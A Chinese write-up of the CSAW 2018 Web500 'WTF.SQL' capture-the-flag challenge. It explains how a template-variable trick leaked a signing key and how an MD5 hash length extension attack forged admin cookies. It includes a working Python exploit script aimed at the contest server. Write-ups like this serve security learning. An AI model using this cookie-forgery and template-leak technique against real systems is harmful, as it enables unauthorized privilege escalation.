csaw2018 web500 wtf-sql

WTF.SQL

周末跟着队里打了一下CSAW,打之前大家和我说这个比赛是for beginner,我真是信了他们的邪了。。。

这道Web500是本次CSAW web板块分值最高的一道,绕了好大一个弯做了出来,就记录一下。

信息收集

题目打开来是注册、登录等常见的功能,额外的有一个POST内容的功能

1.png

然后观察一下响应头里,发现会有一个X-SQL-Fact的头,会随机返回三句话中的一句:

MongoDB (a NoSQL database) ships with no authentication by default!

The <> operator is equivalent to !=

MySQL silently truncates data if it can't fit into the destination field

这个到最后也没用上,有点迷,害我还扫了所有的端口。。。甚至以为这是一道类似WCTF Cyber Mimic Defense 的拟态防御的题。。。

然后扫了一下基本的一些敏感文件,发现了一个robots.txt

User-agent: *
Disallow: / # procedure:index_handler
Disallow: /admin # procedure:admin_handler
Disallow: /login # procedure:login_handler
Disallow: /post # procedure:post_handler
Disallow: /register # procedure:register_handler
Disallow: /robots.txt # procedure:robots_txt_handler
Disallow: /static/% # procedure:static_handler
Disallow: /verify # procedure:verify_handler

# Yeah, we know this is contrived :(

直觉告诉我verify这个路由有点用处!!!

直接GET请求返回

Missing required param 'proc'!

一开始的时候,我以为proc是指/proc/目录的意思,然后试了些类似self、1之类的值都不对

感谢Lyle老哥告诉了我这是procedure。。。都怪我没好好看眼robots.txt

然后就可以愉快地读上面列出的procedure了~~~

所有的文件我放在了网盘里,有需要的可以自取

链接: https://pan.baidu.com/s/1-rRjt_39JxsSIz0h9o8VLg 密码: 43e2

代码审计

这份代码有点皮。不是后端语言的审计,而是mysql的procedure的审计,奇怪为啥要把逻辑写在mysql里。

大概整个业务的逻辑可以按照robots.txt的内容来划分。

整个会话有三个cookie,分别是admin、email、privs。我目测后端在接收到这三个cookie以后,会先进行合法性的校验,校验通过会放入cookies的表中。

admin_hanlder:

  • 先校验是不是admin(从数据库中拿cookie['admin'])

  • 然后判断privs有没有view_panels和create_panels的权限(通过解析cookie['privs'])

  • create_panels可以加一个table_name

  • view_panels可以dump出加的table_name的表的值

  • 所以根据题目描述里的提示,flag.txt就是要加的table_name

login_handler:

  • check用户名密码

  • 获得签名后的 cookie(admin、email、privs)


   SET signature = SHA2(CONCAT(cookie_value, secret), 256);

   SET signed = CONCAT(signature, LOWER(HEX(cookie_value)));

index_handler:

  • 获取post_list

  • 渲染模板展示post的内容

post_handler:

  • 增加post,这里会有一个banned_post_patterns过滤了一些东西

verify_handler:

  • 下载procedure

register_handler:

  • 注册一个新用户

漏洞点

根据admin_handler的内容,不难确定我们需要伪造admin、privs的签名,来以admin的身份加一个flag.txt的table_name。

    SET signing_key = (SELECT `value` FROM `priv_config` WHERE `name` = 'signing_key');

    SET signed_privs = CONCAT(MD5(CONCAT(signing_key, privs)), privs);

其中,privs还额外多做了一次签名的工作,这个是一个典型的hash拓展攻击的例子,这里不赘述攻击的方式。

所以核心问题就是如何获取sign_cookie这个procedure中用的signing_key

    SET secret = (SELECT `value` FROM `config` WHERE `name` = 'signing_key');

    SET signature = SHA2(CONCAT(cookie_value, secret), 256);

    SET signed = CONCAT(signature, LOWER(HEX(cookie_value)));

我在做的时候,一直以为是通过一个sql注入来实现的,但是纵观全局,其实所有的procedure都是参数化形式的sql,不存在sql注入的可能性。

直到我关注到了一个叫做populate_common_template_vars的procedure

BEGIN
    INSERT INTO `template_vars` SELECT CONCAT('config_', name), value FROM `config`;
    INSERT INTO `template_vars` SELECT CONCAT('cookie_', name), value FROM `cookies`;
    INSERT INTO `template_vars` SELECT CONCAT('request_', name), value FROM `query_params`;
END

template_vars是一张临时表,存放的是用template渲染时的变量,可以发现这个procedure把config表中的所有内容都存在了template_vars中,那也就是说,template_vars中有一个config_signing_key变量,是我们需要获得的secret。

populate_common_template_vars函数只在一处被调用到,就是template_string。

而它存在一个将template模板中变量替换为template_vars中值的过程

    SET formatted = template_s;
    SET i = 0;

    WHILE ( formatted REGEXP @template_regex AND i < 50 ) DO
        SET replace_start = REGEXP_INSTR(formatted, @template_regex, 1, 1, 0);
        SET replace_end = REGEXP_INSTR(formatted, @template_regex, 1, 1, 1);
        SET fmt_name = SUBSTR(formatted FROM replace_start + 2 FOR (replace_end - replace_start - 2 - 1));
        SET fmt_val = (SELECT `value` FROM `template_vars` WHERE `name` = TRIM(fmt_name));
        SET fmt_val = COALESCE(fmt_val, '');
        SET formatted = CONCAT(SUBSTR(formatted FROM 1 FOR replace_start - 1), fmt_val, SUBSTR(formatted FROM replace_end));
        SET i = i + 1;
    END WHILE;

    SET resp = formatted;

其中的template_regex为

SET @template_regex = '\$\{[a-zA-Z0-9_ ]+\}';

上面那段代码很好理解,大概就是从头开始碰到一个符合template_regex正则的字符串就替换成对应名字template_vars中的值,然后循环替换直到50次。

也就是说如果template或者说处理中的template中存在${config_signing_key}字样,那我们就大功告成了。

可惜的是直接尝试后发现被上面提到的banned_post_patterns给ban了。

经过了一些试探,banned_post_patterns的规则应该是禁了'\$\{config_[a-zA-Z0-9_ ]+\}'这样一个正则

config开头的变量都禁了。

这时候就需要去绕过这个的限制。还是populate_common_template_vars这个procedure,它还把query_params都存进了template_vars,那么如果我们请求是多加一个比如test参数,然后post一个${request_test}应该就能解析成功。

2.png

激动人心的时刻!!!

3.png

获得了signing_key以后,只要再fuzz一下privs里的那个secret的长度即可完成整个的伪造。

我是拿github上的一个md5 拓展攻击的脚本改改直接跑的,脚本如下

# coding:utf-8

import md5py
from urllib import unquote
import hashlib
import struct
import urllib
import binascii
import requests
import sys
reload(sys)
sys.setdefaultencoding('utf8')

def payload(length, str_append):
    pad = ''
    n0 = ((56 - (length + 1) % 64) % 64)
    pad += '\x80' 
    pad += '\x00'*n0 + struct.pack('Q', length*8)

    return pad + str_append

def hashmd5(str):
    return hashlib.md5(str).hexdigest()

def check_extension_attack():
    for i in range(1, 65):
        s = "A" * i
        mm = md5py.md5()
        assert hashlib.md5(s).hexdigest() == mm.my_md5(s)
        print mm.my_md5(s)
    for i in range(1, 100):
        for j in range(1, 10):
            s = 'A' * i
            salt = 'B' * j
            mm = md5py.md5()
            msg = salt + s + payload(len(salt+s), 'joychou')
            assert hashmd5(msg) == mm.extension_attack(hashmd5(salt+s), 'joychou', len(salt+s))

# check if md5 extension attack is correct
# check_extension_attack()

if len(sys.argv) < 3:
    print "Usage: ", sys.argv[0], " <md5string> <string_to_append>"
    sys.exit()

hash_origin = sys.argv[1]
str_append = sys.argv[2]
for lenth in range(16,32):

    m = md5py.md5()

    str_payload = payload(lenth, str_append)
    md5ans = m.extension_attack(hash_origin, str_append, lenth)
    # print "Payload: ", repr(str_payload)
    # print "Payload urlencode:", urllib.quote_plus(str_payload)
    # print "md5:", m.extension_attack(hash_origin, str_append, lenth)
    pay = bytes(md5ans) + bytes(str_payload)
    pay1 = binascii.b2a_hex(pay)
    salt = "an_bad_secret_value_nhcq497y8"
    stri = pay + bytes(salt)
    sha256 = hashlib.sha256()
    sha256.update(stri)
    res = sha256.hexdigest()
    url = "http://web.chal.csaw.io:3306/admin"
    cookies = {"admin":"3efb7d99e34432bb6405b6a95619978d4904a2f5b5d8d56b3702939c226d729431",
  "email":"7c7034911c800d26f51c483cba33adf191358b91334faa1e228cbcdc82a11d5e726562697274687779776140676d61696c2e636f6d",
    "privs":res+pay1
    }
    print lenth
    print str_payload
    print res+pay1
    try:
        res = requests.get(url=url,cookies=cookies,timeout=4)
        print res.text
    except:
        pass

这里还有点小的要注意的地方是,view_panels和create_panels在伪造的时候应该是;panel_view;panel_create;这样,因为hash拓展会加padding,不用;分割hash_priv这个procedure会问题。

最后试出来是长度是24,就可以愉快的get flag了。

4.png
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 214,172评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,346评论 3 389
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 159,788评论 0 349
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,299评论 1 288
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,409评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,467评论 1 292
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,476评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,262评论 0 269
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,699评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,994评论 2 328
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,167评论 1 343
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,827评论 4 337
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,499评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,149评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,387评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,028评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,055评论 2 352

推荐阅读更多精彩内容